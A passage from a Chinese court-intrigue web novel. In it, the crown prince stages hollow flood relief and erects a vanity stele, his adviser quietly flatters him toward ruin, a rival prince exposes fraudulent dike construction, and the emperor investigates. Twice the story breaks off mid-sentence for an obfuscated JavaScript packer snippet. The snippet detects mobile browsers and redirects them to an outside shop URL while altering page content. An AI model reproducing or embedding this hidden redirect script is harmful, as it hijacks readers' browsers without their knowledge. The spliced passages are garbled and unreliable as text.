“而仁宗先帝承平继位,海晏河清,天下百姓思定。彼时,若再行‘有为’之策,穷兵黩武,大兴土木,则必将民不聊生,动摇国本。故仁宗先帝当行怀柔之术,轻徭薄赋,与民休息,方能固我大靖万世之基业。此亦是时势使然,是为‘无为’之德。” 这番话引经据典,有理有据,将在场的几位老官都听得连连点头。 赵钰的脸上,也露出了一丝赞许之色。 白逸襄却话锋一转,继续道:“然,逸襄斗胆以为,‘有为’与‘无为’,虽因时而异,其本质,却有高下之分。” “哦?”王学士来了兴致,“还请白詹事赐教。” 白逸襄微微一笑道:“《道德经》有云:道常无为而无不为。君王若能守之,万物将自化。” “何为‘无不为’?并非是什么都不做,而是顺应天道,依循民心,不妄加干涉。君王如日月,高悬于天际,光照万物,却从不言语。万物生长,四时更替,皆是其功,却又仿佛与他无关。” “此等境界,方为‘治’之极致。是以,逸襄愚见,‘有为’乃人君之术,而‘无为’,方是圣君之道。” 他说着,再次对着太子深深一揖,语气里充满了敬仰与期盼。 “殿下乃国之储君,天命所归。他日必当效仿上古明君,行‘无为’而治,垂拱而天下安。届时,我大靖王朝,必将迎来一个前所未有的盛世!” 这一番话,如同一阵春风,吹得太子赵钰浑身的毛孔都舒展开来。 白逸襄深知赵钰不是个有雄才大略的人,平日里最烦的,便是那些繁琐的政务。 这番“无为而治方为圣君”的理论,既能显得他的境界高深,又能让他名正言顺地偷懒,赵钰必然十分喜欢。 “好!说得好!” 太子赵钰轻击大腿,站起身来,对众人大笑道:“知渊此言,深得我心!” 甲板之上,一时间,赞誉之声四起。 “白詹事高才,佩服佩服!” 太子也道:“‘无为而治,方为圣君之道’,此言大善!” 众人都纷纷向白逸襄举杯,太子更是亲自为他斟了一杯酒,以示嘉奖。 白逸襄以身子不济,不敢饮酒为由,以茶代酒,一一回敬。他看着众人脸上那或真心、或假意的赞美,看着太子那副志得意满的模样,垂下眼帘,将杯中的清茶,一饮而尽。 竖子不足与谋! 茶水微涩,一如他此刻的心情。 待到灾区,面对那满目疮痍的景象,面对那些流离失所的灾民,这位信奉“无为而治”的太子殿下,会做出何等“圣君”之举? 14. 第 14 章 官船顺着广济运河一路南下,行了十数日,终于抵达了黄河下游灾情最重的雍州清平郡。 码头之上,早已立满了前来迎接的各级官员。郡守是个身材肥胖的中年人,一见到太子赵钰那艘金碧辉煌的官船靠岸,便立刻堆起满脸笑容,领着一众属官跪地迎接。 “臣等恭迎太子殿下!殿下千岁千岁千千岁!” 山呼之声,响彻云霄,气派十足。 太子赵钰在一众侍卫的簇拥下,缓步走下舷梯。他看着眼前这片黑压压跪倒的人群,听着他们口中的颂赞之声,心中因旅途劳顿而生出的几分烦躁,被驱散了,脸上也挂上了一丝笑意。 白逸襄跟在太子身后,不动声色地打量着四周。码头上被清理得干干净净,空气中甚至弥漫着一股湿润的尘土气息。前来迎接的官员们,个个衣冠楚楚,精神抖擞,哪里看得出半分身处灾区的狼狈? 清平郡的官员,做表面文章的功夫,倒是一流。 “诸位爱卿平身。”赵钰抬了抬手,“孤此次奉父皇之命,前来赈灾。灾情如何,百姓安置得如何了?你们且细细说来。” 清平郡守连忙从地上爬起,躬着身子,从袖中取出一本早已准备好的表奏,朗声念了起来。 他的表奏辞藻华丽,想是找雍州名士书写,十足下了一番功夫。他将自己治下的清平郡,描绘成了一片虽然遭受天灾、但在他英明领导下依旧井然有序、民心安定的乐土。至于那些流离失所的灾民,则被他轻描淡写地归结为“些许刁民,不服管教,已派人妥善安置”。 赵钰对郡守的奏报颇为满意,赞道:“爱卿辛苦了。有你这等能臣干吏,乃我大靖之幸,亦是孤之幸。” 一番虚伪的寒暄过后,太子一行人便被前呼后拥地请进了早已备好的行辕——清平郡最奢华的一座园林。 接下来的三日,赵钰身体力行地,向所有人展示了他所信奉的“无为而治”的真谛。 他每日睡到日上三竿才起,白日里,便在行辕中与那些附庸风雅的地方官吏们饮酒作赋。偶尔被幕僚提醒,要去堤坝上“巡视”一番,也只是站在离灾民百丈开外的高坡上,远远地看上一眼,说几句“百姓思定,孤心甚慰”的场面话,便立刻回转。 至于真正的赈灾事宜,则被他大手一挥,全权交给了那位“能力出众”的清平郡守。 白逸襄每日里,也只是被“请”去陪坐。看着赵钰与那群脑满肠肥的官员们推杯换盏,听着他们口中那些粉饰太平的阿谀之词,心中已然生厌,常常称病推脱,躲回自己的书房,读书研习。 一日晚宴,酒过三巡,白逸襄正欲装病离去,就听到那清平郡守举起酒杯,对着赵钰谄笑道:“殿下,臣有一策,既可解眼下燃眉之急,更能彰显殿下仁德,让天下万民,都感念殿下的恩德。” 赵钰来了兴致:“哦?快说来听听。” 郡守挺了挺他那硕大的肚子,得意洋洋地道:“殿下,如今灾民流离失所,人心惶惶,最缺的,便是主心骨。臣以为,当务之急,并非是开仓放粮。” “那是什么?” “是立德!”郡守的声音陡然拔高了几分,“臣恳请殿下,于这黄河岸边,修建一座‘祈福禳灾功德碑’!将殿下不远千里、亲赴灾区、与民同苦的功绩,刻于碑上。如此一来,既能向上天祈福,佑我大靖风调雨顺,又能让那些愚昧的灾民,知道皇恩浩荡,从而安定其心。待功德碑落成之日,再开仓放粮,岂非事半功倍?” 这番话说完,在座的官员们,纷纷抚掌叫好,大赞此计“高明”。 高明?高明到了无耻的境界。 白逸襄心道:灾民连饭都吃不上了,不去修堤坝,不去发粮食,反倒要先耗费人力物力,去修一座歌功颂德的破石碑?简直是荒唐! 可他知道,赵钰,偏偏就吃这一套。 赵钰本就急于在皇帝面前挣回脸面,这“立碑扬名”之举,正中他的下怀。 但是,大臣建议,虽如他愿,却必迟疑。 此等大事,若他轻易决断,倘若出了什么差池,他也脱不了干系。 白逸襄见太子游移不定,便知,他该登场了。 看我助他一臂之力! 他缓缓放下茶盏,站起身来,对着太子,深深一揖。 “殿下神武。”他开口,声音不大,却清晰地压过了满堂的阿谀之声。 所有人的目光,都聚焦到了他的身上。 白逸襄抬起头,那张苍白的脸上,带着一丝病态的激动和崇敬。 “郡守所言极是,修建功德碑,实乃上体天心,下恤民情之大善。逸襄不才,斗胆恳请殿下,恩准逸襄,为这功德碑,亲笔题写碑文!” 太子赵钰见白逸襄都如此“赞同”,甚至要亲笔题写碑文,彻底让他放心下来。 毕竟,建功德碑,也有他白逸襄一半“功劳”。 赵钰随即大笑道:“知渊之文采,冠绝天下,由你来为孤题写碑文,再合适不过!” 白逸襄道:“殿下谬赞。” 赵钰看向清平郡守道:“此事,便全权交由爱卿督造,务必要修得气派,修得宏伟,要让后世子孙,都能看到孤今日的功绩!” “臣,遵旨!”郡守大喜过望,连忙跪地谢恩。 * 与黄河下游雍州连绵的阴雨不同,黄河上游的雍州,秋高气爽,天高云淡。 但这份清爽,却被脚下那龟裂的土地和空气中弥漫的尘土味,染上了一层焦灼。 一支由十数人组成的队伍,正策马行进在颠簸不平的官道上。他们没有打任何旗号,人人一身风尘,风驰电掣,卷起一阵黄土,朝着黄河故道的方向疾驰而去。 为首之人,正是轻车简从、日夜兼程赶路的二皇子赵玄。 抵达雍州上游的朔津郡后,他没有理会前来迎接的地方官员,甚至连官驿的大门都没进,便直接下令,全队人马直奔河工最为集中的“黑石峡”营地。 黑石峡,地处偏远,三面环山,是雍州朔津郡治理黄河水道最关键的隘口,也是条件最艰苦的一段工程。赵玄一行人抵达时,已是黄昏。 落日的余晖将整片河谷染上了一层悲壮的橘红色。数千名衣衫褴褛的河工,像一群沉默的蚂蚁,正麻木地在干涸的河道上劳作。空气中,弥漫着汗水、尘土和伙房飘来的粗劣饭食混合的味道。 “殿下,此地简陋,尘土飞扬,您千金之躯,怎可在此处扎营?”彭坚看着眼前这片乱糟糟的营地,眉头拧成了一个疙瘩。 赵玄却早已翻身下马,他拍了拍身上的尘土,目光扫过那些面黄肌瘦、眼神麻木的河工,沉声道:“咱们是来治河的,不是来享福的。传令下去,全员就地扎营,不得扰民。” 说罢,他竟当着众人的面,利索地脱下了身上那件虽然朴素但用料上乘的常服,换上了一件不知从哪里找来的、粗布缝制的短褐。他将长发用一根布条随意束在脑后,卷起裤腿,露出了小腿。 “殿下,您这是……”彭坚大惊失色。 赵玄没有回答,只是大步流星地,朝着那片泥泞的河道走去。他深一脚浅一脚地踩进半干的淤泥里,抓起一把泥土,放在鼻尖闻了闻,又用手指捻了捻,眉头缓缓皱起。 他这一举动,让身后跟随的亲随和官员们都看傻了。就连那些原本对他这群不速之客抱有警惕的河工,也纷纷停下了手中的活计,投来了惊异的目光。 夕阳下,那位身形挺拔的“年轻人”,就这么一身泥土地站在河道中央,与周围那些真正的河工,几乎融为了一体。彭坚看着自家主子的背影,只觉得一股热血从心底直冲而上。 “还愣着干什么!”彭坚一边脱衣,一边对其他随行人员高声道:“都给我下去!” 赵玄在河道里勘察了足足一个时辰,直到天色完全暗了下来,才回到临时搭建的营帐。他没有搞特殊,直接领了一份和河工们一模一样的晚饭——一碗糙米饭,一勺看不出原样的菜糊,还有一碗浑浊的菜汤。 他吃得津津有味,仿佛那是什么山珍海味。 这一幕,正被朔津河道水监李世昌远远看到。 朔津水丞上前一步低声问道:“李水监,这当如何是好?” 李世昌思索片刻,小声道:“哼,矫揉造作,他不过做给天子和百姓看的,皇亲贵胄,怎么可能真心去体会民间疾苦?” “他喜欢演,那咱们就陪他演个痛快!” …… 待赵玄从河堤上勘察回来,李世昌带着一众属官,满脸堆笑地前来拜见。 李世昌是个年近五十的瘦高个,面白无须,一双眼睛总是笑眯眯的,透着一股子精明。 “哎呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766973|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二殿下驾临,本想扫榻相迎,谁知殿下竟……竟已屈尊至此!殿下体恤下情,与民同苦,实乃我朔津百姓之福,亦是我大靖万民之福啊!”他一开口,便是滔滔不绝的赞美之词。 赵玄接过亲随递来的布巾擦了擦手上的泥,淡淡地道:“李水监客气了,赈灾治河,本就是我分内之事,何谈屈尊。” 李世昌见赵玄的动作并无嫌弃,甚至十分顺手,看着不像演戏,心中顿时打起了十二万分的精神。他话锋一转,那张笑眯眯的脸立刻垮了下来,几乎要挤出几滴眼泪。 “殿下有所不知啊!”他长叹一声,开始哭诉,“这黄河上游,连年大旱,河道修缮的款项早已告罄!朝廷的拨款迟迟未到,下官实在是……实在是心有余而力不足啊!为了不耽误工期,下官……下官都快把自家的祖宅给变卖了,这才勉强维持着。如今能撑到殿下您来,下官……下官总算是看到希望了!” 他声泪俱下,将所有问题归咎于“天灾”和“朝廷拨款不力”,把自己塑造成了一个忍辱负重、为国为民的清廉好官。 赵玄坐在胡床①上,端起一杯粗茶,慢悠悠地喝着,对李世昌的话不置可否。 赵玄不语,李世昌便只能尴尬的站着,表情也凝固在脸上,不知该继续哭,还是该换上他习惯性的笑脸,一时间,他只觉得脸部肌肉有些酸疼。 好在此时,营帐的帘子被猛地掀开,一个皮肤黝黑、身材精瘦的中年男子冲了进来,打破了僵局。 “殿下!有发现!” 来人叫公输越,是皇八子赵衡向他举荐的机巧能士,也是赵衡拜的老师,赵玄费了不少心思才让公输越答应出山帮忙。 此刻,公输越手中拿着几块刚从河堤上取下来的石料样本,他将石料“砰”的一声丢在赵玄面前,指着其中一块对道:“殿下请看!这河堤,有问题!” 李世昌的脸颊,明显抽动了一下。 公输越拿起一块看似坚固的青石,用力一掰,那青石竟应声而裂,露出了里面夹杂着大量泥沙和枯草的劣质砂石。 “金玉其外,败絮其中!”公输越气得满脸通红,“这河堤的外层,确实用了青石垒砌,可内里填充的,却全是这种东西!别说是抵御洪水,怕是一场大雨,都能把它冲垮!这哪里是修堤,这分明是在草菅人命!” 李世昌的脸色刷地一下变得惨白,但仅仅一瞬,便又恢复了那副痛心疾首的模样:“哎呀!竟有此事?这……这群天杀的蠹虫!竟敢在殿下面前,行此欺君罔上之事!殿下放心,下官……下官这就去查!定要将这些贪墨河工款的蛀虫,一个个都揪出来,千刀万剐!” 他说着,便对着赵玄一揖到底,一副要立刻去“严查”的姿态。 赵玄缓缓放下茶杯,一脸和煦地道:“不必了,此事,本王自有分寸。李水监一路劳顿,想必也乏了,先回吧。” 李世昌愣了一愣,似是没想到赵玄会如此轻易放过他。他抬起头,正好对上赵玄那双凌厉的双眼,心中莫名一寒,连忙称是,带着手下人告退而去。 待他们走后,彭坚再也忍不住,上前一步,怒道:“殿下!这李世昌分明在做戏!此事定与他脱不了干系!为何不当场将他拿下,严刑拷问!” “拿下他?”赵玄拿起那块劣质的石料,在手中掂了掂,“然后呢?” “然后彻查河堤,将所有贪官污吏一网打尽!” “李世昌是条地头蛇,这朔津郡河道署上下,都是他的人。他背后,还站着散骑常侍郭亮。” 彭坚顿时噤声,他知道,那郭亮为已故郭皇后的弟弟,乃皇亲国戚,秦王虽非皇后所生,但若论起辈分,秦王殿下还得喊他一声舅舅呢…… “还是殿下考虑的周到,我差点忘了……”彭坚看了看那些正看他笑话的秦王僚属们,握紧了腰间的剑。 赵玄没理他,继续道:“更何况我们现在人手不足,这点东西,也算不得铁证。你现在打草惊蛇,只会让他们立刻销毁所有证据,甚至狗急跳墙,暗中做鬼,让我们寸步难行。” 赵玄顿了顿,目光变得锐利起来,“不过,今日一事,定会让他有所防备,我们要先行一步。” “殿下,你说吧,该怎么办?” 赵玄没再多言,起身向营帐走去,彭坚立刻会意,安排侍卫守住四周,便与几位核心官员进入帐中。 15. 第 15 章 接下来的日子,清平郡的官道上,便出现了极为讽刺的一幕。 一队队的民夫,被官兵用鞭子驱赶着,从四面八方汇集而来。他们不去修筑岌岌可危的河堤,不去疏通淤塞的河道,而是被赶到了黄河岸边的一处高地上,日夜不休地,开山采石,修建那座所谓的“功德碑”。 而他们的妻儿老小,则依旧挤在简陋的窝棚里,靠着官府每日施舍的那一碗稀得能照见人影的米汤,苟延残喘。 怨气,就像这阴沉的天气一样,在灾民之中,无声地积聚、发酵。 而白逸襄,则真的“闭门不出”,日日待在行辕之中,为那功德碑的碑文,呕心沥血。 他时常将写好的初稿,拿去给太子过目。 “殿下,您看此处,用‘圣德如天,覆盖万物’,是否比‘仁心似海,泽被苍生’,更显气魄?” “嗯,不错,就用这个。” “殿下,碑文末尾,是否该加上一句‘万民叩首,感戴皇恩’?如此,方能体现民心所向。” “好,加上!” 太子赵钰对白逸襄的“尽心竭力”极为满意,时常召他秉烛夜谈,探讨一些“为君之道”。 白逸襄则继续那“无为而治”的玄谈,将太子哄得云里雾里,几乎忘记了离京之前对白逸襄的猜忌。 终于,在不足半月,那座高达三丈、通体由汉白玉砌成的功德碑,在黄河岸边,拔地而起。 碑成之日,清平郡守特意举办了一场盛大的揭碑仪式。太子赵钰亲临现场,在万众瞩目之下,为功德碑揭开了红绸。 白逸襄亲笔题写的碑文,龙飞凤舞,赫然其上。 围观的灾民们,看着那座比自家房子还高、比自己吃的米还白的石碑,眼神里,是死一般的麻木。 而就在当晚,一首诡异的童谣,开始在民间,悄然流传开来。 “功德碑,高又高,白玉砌,世无双。” “太子爷,睡玉床,饿死人,在道旁。” “喝稀汤,睡泥房,肚里空,心头慌。” “黄河水,向东淌,带走娃,冲走娘。” 一开始,此童谣还只是几个孩子在私下里唱。渐渐地,唱的人越来越多。最后,整个灾民营地,无论男女老少,都在唱。 巍峨的功德碑,与那首童谣,便在黄河岸边,形成了强烈而荒诞的对比。 * 温晴岚的书房内,燃着一炉清雅的百合香。 她静静地坐在书案前,手中捏着一封信。信纸已经被她反复看了数遍,那熟悉的、带着几分清冷却又风骨凛然的字迹,此刻在她眼中却显得格外刺目。 虽没有署名,但她知道是白逸襄写给她的。 窗外秋阳正好,她的指尖却一片冰凉。 “荒唐!无耻!” 她低声吐出这四个字,信也被她“啪”的一声按在桌上。 太子在雍州的所作所为,信中只用了寥寥数语陈述,没有任何情绪化的字眼,却比任何激烈的控诉都更让她感到愤怒与心寒。那不是“无为而治”,那是尸位素餐,视人命如蝼蚁! 她闭上眼,深吸了一口气,强压下胸中翻涌的怒火。再睁眼时,那双清澈的眸子里,已是冷静与决然。 她快速取出一张洁白的宣纸,铺在案上,亲手研墨,墨锭在砚台中转动,发出沙沙的轻响,一如她此刻坚决的心情。 桌旁,还有一份《治水上策》,那是几日前她的贴身侍女拿给她的。她将其置于手边,提笔蘸饱了墨,并未照抄,而是以自己身为史官之女的独特视角,引经据典,条分缕析,将那份治水上策的核心思想,用更为严谨、更具说服力的语言,重新阐述了一遍。 两日后,京中名士云集的“兰亭雅集”清谈会上,一向安静端庄、只在一旁聆听的温家小姐,却出人意料地开了口。 这位温婉的贵女,对时下最为棘手的黄河水患,提出一套惊世骇俗的见解。她的声音清冷如玉石相击,没有半分女子娇柔,却逻辑缜密,字字珠玑。从“募工兴利”的古制,到“计劳救灾”的细则,再到“疏浚为本”的长远规划,她信手拈来,侃侃而谈。 那首童谣,也在温晴岚润色之后,重新做了编排: “玉碑凌云,功德何闻?白骨蔽野,朱门酒浑。 储君高卧,岂知民贫?粝食不继,茅茨无邻。 河决东溃,浪卷亲人。天道何在?怆然问津!” 满座名士,先是惊愕,而后是震撼,最终,皆是陷入了死一般的沉寂。 一场清谈会,因一位女子,掀起了巨浪,震动了整个京城仕林。 * 深夜,侍中谢安石的书房内,一灯如豆。 他已在这份不知来路的《治水上策》前,枯坐了两个时辰。烛火跳动,将他脸上深刻的皱纹映照得明暗不定。 这份策论,字字珠玑,见解独到,无疑是解救黄河水患的绝佳良方。可它的来路,却太过蹊跷。管家只说一不知姓名的郎君送来,让他务必交予谢侍中亲启。 在朝为官数十载,谢安石深知,一份没有来路的表奏,是一把双刃之剑。此刻太子正在雍州“赈灾”,他若贸然将这份足以否定太子所有举措的策论上呈,无异于将自己摆在了东宫的对立面,更可能被陛下视为其他皇子党羽,意图构陷储君。 这其中的政治风险太大,他赌不起。 就在他犹豫不决,几乎要将这份策论付之一炬时,书房的门被轻轻叩响。他那在国子监读书的长子,带着几分兴奋走了进来。 “父亲,您可听说了?今日兰亭雅集出了一件奇事……” 听着儿子眉飞色舞地复述着温家小姐在清谈会上那番惊艳四座的言论,谢安石的眼睛,一点点地亮了起来。 他怔怔地看着桌上那份手稿,又看了看儿子口中几乎一字不差的观点,心中豁然开朗。 原来如此…… 他抚须微笑,心中最后一丝顾虑也烟消云散。 这份策论,已不再是某个幕后之人的密谋,而是士林之中公开的“高见”。 它的出处,可以是兰亭雅集,可以是国子监,可以是京城任何一个茶楼酒肆。来源众多,便等于没有来源。 若陛下问起,他大可以説是儿子从清谈会上听来,自己加以润色而成。如此,既全了为国献策的臣子本分,又完美地避开了所有党争的嫌疑。 “取笔墨来。”他对儿子道。 这晚,谢安石奋笔疾书,天明时分,他将一份题为《论募工兴利,计劳救灾之可行性》的表奏,放入了怀中。 * 御书房内,龙涎香的青烟升起,与空气中那股陈年书卷的墨香混合在一起,营造出一种肃穆而又压抑的氛围。 皇帝赵渊一身玄色常服,端坐于御案之后。他并未批阅奏折,只是静静地看着摆在面前的两样东西。 一样,是侍中谢安石清晨刚呈上来的表奏。 另一样,是一份来自皇城司的密报,上面详细记录了太子抵达雍州后半月以来的所有“功绩”——特别是那座耗费了无数民力、立于黄河岸边的“祈福禳灾功德碑”。 他先看完了皇城司的密报,那张素来喜怒不形于色的脸上,没有任何表情。接着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766974|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又拿起了谢安石的表奏,逐字逐句,看得极为仔细。 时间,在一片沉寂中缓缓流逝。 许久,赵渊终于放下了手中的表奏。 他靠在御榻的玉凭几上,修长的手指,无意识地轻轻敲击着凭几边沿。 “笃…笃…笃…” 那不疾不徐的叩击声,像是一把小锤,敲在侍立一旁的大太监靳忠的心上,让他连呼吸都放轻了几分。 又不知过了多久,那叩击声戛然而止。 “靳忠。”皇帝的声音响起,平淡得听不出任何情绪。 “奴婢在。”靳忠连忙躬身,头垂得更低了。 “去查。”皇帝的目光落在谢安石那份表奏上,语气平静,“文章之源头,到底出自谁手。” 靳忠心中一凛,不敢多问,只是恭声应道:“遵旨。” “再派人去趟雍州,”皇帝的视线又转向了那份密报,声音里带上了一丝几乎无法察觉的冷意,“朕要知道,太子到底在做什么。” 说完这句话,他便像是做了一件再寻常不过的安排,随手拿起一本尚未批阅的奏折,重新投入了政务之中。 御书房内,再次恢复了之前的寂静。 靳忠躬着身子,悄无声息地退了出去。走出殿门的那一刻,冰冷的秋风吹在脸上,他才发觉,自己的后背,竟已不知不觉被冷汗浸湿。 天心难测,龙威莫犯。 近身服侍赵渊多年,他比任何人都清楚,赵渊没有任何表情,可比雷霆震怒,要可怕得多! * 京城,东市的一家酒肆里,正是人声鼎沸的时分。 角落里,一个靠讲古为生的说书人刚刚喝了口水润嗓子,酒客们的议论声便“嗡”地一下沸腾起来。 话题的中心,自然是千里之外那场牵动人心的黄河大灾。 “听说了吗?太子殿下在雍州清平郡立了功德碑!三丈高,通体都是汉白玉,比咱们这茶楼都气派!”一个穿着绢织长衫的男子道。 邻桌一个儒生模样的瘦高男子闻言,冷哼一声,将茶碗重重地顿在桌上:“气派?那是拿灾民的命换来的气派!我可听说了,修那碑的民夫,一天就一碗稀粥,累死病死的,都直接扔进黄河里喂鱼了!” 听他说完,众人的声音此起彼伏。 “什么?竟有此事?” “千真万确!更荒唐的是,那碑文,还是东宫的白洗马,白逸襄亲笔题的!” “白洗马?可是那个少时被称作‘麒麟儿’的大才子白逸襄?” 那读书人满脸愤慨,“可不就是他!想当初,他在京中何等惊才绝艳,人人皆以为他入主东宫,必能匡扶太子,成就一番大业。谁曾想……如今竟也跟着太子殿下一起,做出了这等媚上欺下、荒唐至极的糊涂事!” “是啊,”另一人也跟着叹息,“我听说他跟着太子南下,一路上除了养病,便是陪着太子饮酒清谈,对真正的赈灾事宜不闻不问。黄河决堤,数十万生灵涂炭,他身为东宫谋主,竟连一条正经的救灾良策都拿不出来,反而把心思都花在了写那篇粉饰太平的碑文上,真是……江郎才尽,令人扼腕!” 一时间,茶楼里议论纷纷,惋惜者有之,鄙夷者有之,更多的,是一种深深的失望。 也不知是谁言道:“颍川白氏,三代帝师,家学渊源。白家的麒麟儿,到了东宫,怎么反而变得这般平庸了?” 这个问题,无人能答。只有窗外的秋风,卷着几片枯叶,萧瑟地打着旋儿。在京城贵族及儒林名士眼中,曾经那颗最璀璨的星辰,似乎正迅速地蒙上尘埃,变得黯淡无光。 16. 第 16 章 依旧是那间寂静的御书房。 靳忠躬着身子,将一份刚从皇城司递上来的文书,轻轻放在了御案一角。这份文书的内容,并非什么军国大事,而是近来京城里流传甚广的各类市井传言。 赵渊将其命名为“京城杂记”,是他每周必看的内容,以供自娱。 靳忠的身子又向下躬了躬,用一种近乎耳语的音量,恭敬地回道:“回陛下,关于那份《论募工兴利,计劳救灾之可行性》的源头,皇城司……已经查到些眉目了。” 赵渊的目光并未离开手中的奏折,只是淡淡地道:“讲。” “……据兰亭雅集的几位名士回忆,温氏女当日清谈所言,思路清晰,引经据典,不似临时起意,倒像是早有准备。皇城司的人顺着温府这条线查下去,发现秘书监温明近日确与翰林院几位旧友探讨过古时治水之法……但,最关键的一条线索,却是从秦王府传出来的。” 说到这里,靳忠的声音压得更低了,几乎细不可闻。 “秦王殿下身边的一名小内侍,无意中提起,殿下离京前数日,曾在书房内通宵研读舆图与一卷……策论。那策论的形制与内容,与谢侍中所呈上的,几乎无二。” 许久,赵渊才道:“这么说,此策,是出玄儿之手?” “回陛下,皇城司推测,秦王殿下离京之前,曾去过温府,向温明讨教过前朝舆图与史料。想来他与温明交流之际,将自己的想法告知了温明,温明再将此策论与温氏女研讨后,由温氏女在清谈会上提出,引士林共议,最后,才顺理成章地,传入谢侍中之耳。” 这番推测,合情合理,既解释了策论的来源,又避开了结党之嫌。 赵渊听完,重新拿起了案上那份谢安石的表奏。他的指腹,轻轻地从“募工兴利,计劳救灾”那几个字上滑过,目光幽深,谁也看不透他心中所想。 殿内的气氛,依旧压抑得让人喘不过气。 “好一个募工兴利,记劳救灾。”赵渊喃喃自语,那张素来威严的脸上,竟破天荒地,露出了笑容。 “有谋略,知进退,懂借势,却又不显锋芒……”他将表奏缓缓放下,语气里是毫不掩饰的赞许,“这孩子……倒真有几分,朕当年的样子。” 靳忠闻言,心中剧震。他微微低头,隐藏住了自己惊讶的神色。 想那二皇子赵玄,在皇宫中如隐形人,幼时连内廷太监和宫女都敢给他脸色,这几年却突然得势,屡立功勋,册封秦王,如今又有如此迂回缜密的心思取悦龙颜。 莫非有高人相助? 靳忠没有因自己活跃的思绪走神,在见赵渊抬手指了指“京城杂记”后,他没有半分迟疑地将其递到了赵渊手中。 赵渊看得很快,本想找找关于温氏女清谈之论,却看到白逸襄“江郎才尽”、“麒麟蒙尘”等字眼,赵渊不由得顿了顿。 思索片刻,他放下杂记,从御案旁一摞标记着“东宫”字样的文书中,抽出了一份旧档。那是半年前白逸襄所写的一篇关于整顿吏治的策论。 赵渊看着纸上风骨天成的字迹,目光幽深。 整个御书房,安静得只剩下烛火偶尔爆开的轻微“噼啪”声。 赵渊突然道:“靳忠。” “奴婢在。” “你说,这世上,可有前一日还是经天纬地之才,后一日便沦为碌碌庸人之事?” 靳忠忙道:“回陛下……奴婢愚钝。只是听闻……宝剑锋从磨砺出,梅花香自苦寒来。若无淬炼,锋芒亦会锈蚀。” 赵渊没有说好,也没有说不好。 他将那份策论重新放回了文书堆里,语气恢复了往常的威严与漠然。 “传一道密旨给皇城司,”皇帝的声音不带一丝温度,“盯紧了白府。他们家里的每一个人,说的每一句话,见的每一个人,朕都要知道。” 靳忠领旨,心中暗道:看来陛下不信白逸襄真的“江郎才尽”,那白逸襄到底玩的什么把戏? 唉!这些人怎知,若论玩心眼子,谁人能玩过陛下呢? * 三更鼓响,正站在舆论浪尖上的白府一片静谧。 只有太傅白敬德的书房,依旧亮着一盏孤灯。 他已经将自己关在书房里整整一个时辰了。没有读书,也没有政务,只是反复看着一封从雍州寄回来的家书。 信是儿子白逸襄亲笔所写,字里行间,都是些问候起居、报备平安的寻常话语,看不出任何异常。 然而,白敬德却能从那看似平淡的叙述中,读出暗藏的玄机。 “……太子殿下仁德,见灾民流离,心有不忍,欲立碑祈福,以安天心。儿忝为詹事,自当为殿下分忧,遂不辞劳苦,亲撰碑文,以彰圣德……” “……雍州官员尽心国事,然民智未开,常有刁民生怨。儿体弱,不便亲临一线,唯有在行辕之中,为殿下讲解圣人经典,言‘无为而治’之道,以期感化……” 他仿佛能看到,自己那体弱多病的儿子,是如何在太子和一群谄媚官员之间周旋,如何用一种近乎自污的方式,将太子的愚蠢与无能,一步步地推向极致,也推到了皇帝的眼前。 这哪里是家书,这分明是一份用身家性命做赌注的陈情表! 窗外,京城里那些关于儿子“平庸”、“堕落”的流言,还在甚嚣尘上。那些曾经对他赞誉有加的同僚,如今看他的眼神里,也多了几分同情与惋惜。 白敬德将信纸小心翼翼地折好,收入一个檀木匣中,上了锁。 他缓缓站起身,走到窗前,推开了窗户。冰冷的夜风灌了进来,吹得他衣袍猎猎作响,也吹散了他心中几分烦闷。 他看着满天疏星,良久,才发出一声几不可闻的长叹。 吾儿此路,凶险万分。他这位做父亲的,除了在京中为他守好后方,再无他法。 …… 隔天,白家祠堂内,沉香袅袅,气氛祥和中,带着一股肃穆且陈年的气息。 六位族中长老,分坐两侧,祠堂正上方,悬挂着“白氏先祖”四个烫金大字的牌匾,下方则是列祖列宗的牌位,无声地注视着他们的后人。 这次宗族会议,是二长老白敬安临时召集的,并不正式。不过近几年,宗族会议也鲜少召开,白敬德身为族长,并不喜组织宗族会议,长久以来,形同虚设。 身材微胖的二长老白敬安道:“族长,逸襄此举,已让我白家沦为全京城的笑柄!如今太子失势之兆已显,我白家难道要跟着这艘船,一同沉没吗?” 白敬安根本不给白敬德开口的机会,继续道:“我看岳枫虽才学稍逊,但胜在懂得变通!近日他与晋王府的主簿交好,依我之见,这才是为家族开辟新路的明智之举!晋王手握重兵,军功赫赫,远比那懦弱无能的太子,更有前途!” 白敬德低吼:“老二!你怎能说出如此大逆不道之言?” “正是,二哥须谨言慎行!我等怎能在此妄议国事?你若继续胡言乱语,我们几位长老,可要将你请出去了!”另一个声音响起,是素来以学问自居、最重门楣清誉的四长老白敬玄。 其他长老也纷纷赞同。 “是啊二哥,你说这话,若是被有心之人听了去,岂不是将白家百余口置之死地?” 二长老白敬安自觉理亏,抄着袖子,扭过脸去,不再作声。 “不过……”四长老白敬玄继续道:“大哥,逸襄辅佐太子,非但没能匡正其行,反而跟着他在雍州胡闹,致使我白家清誉受损!长此以往,我等有何面目,去面对列祖列宗?” 一时间,祠堂内议论纷纷,附和之声更加剧烈。 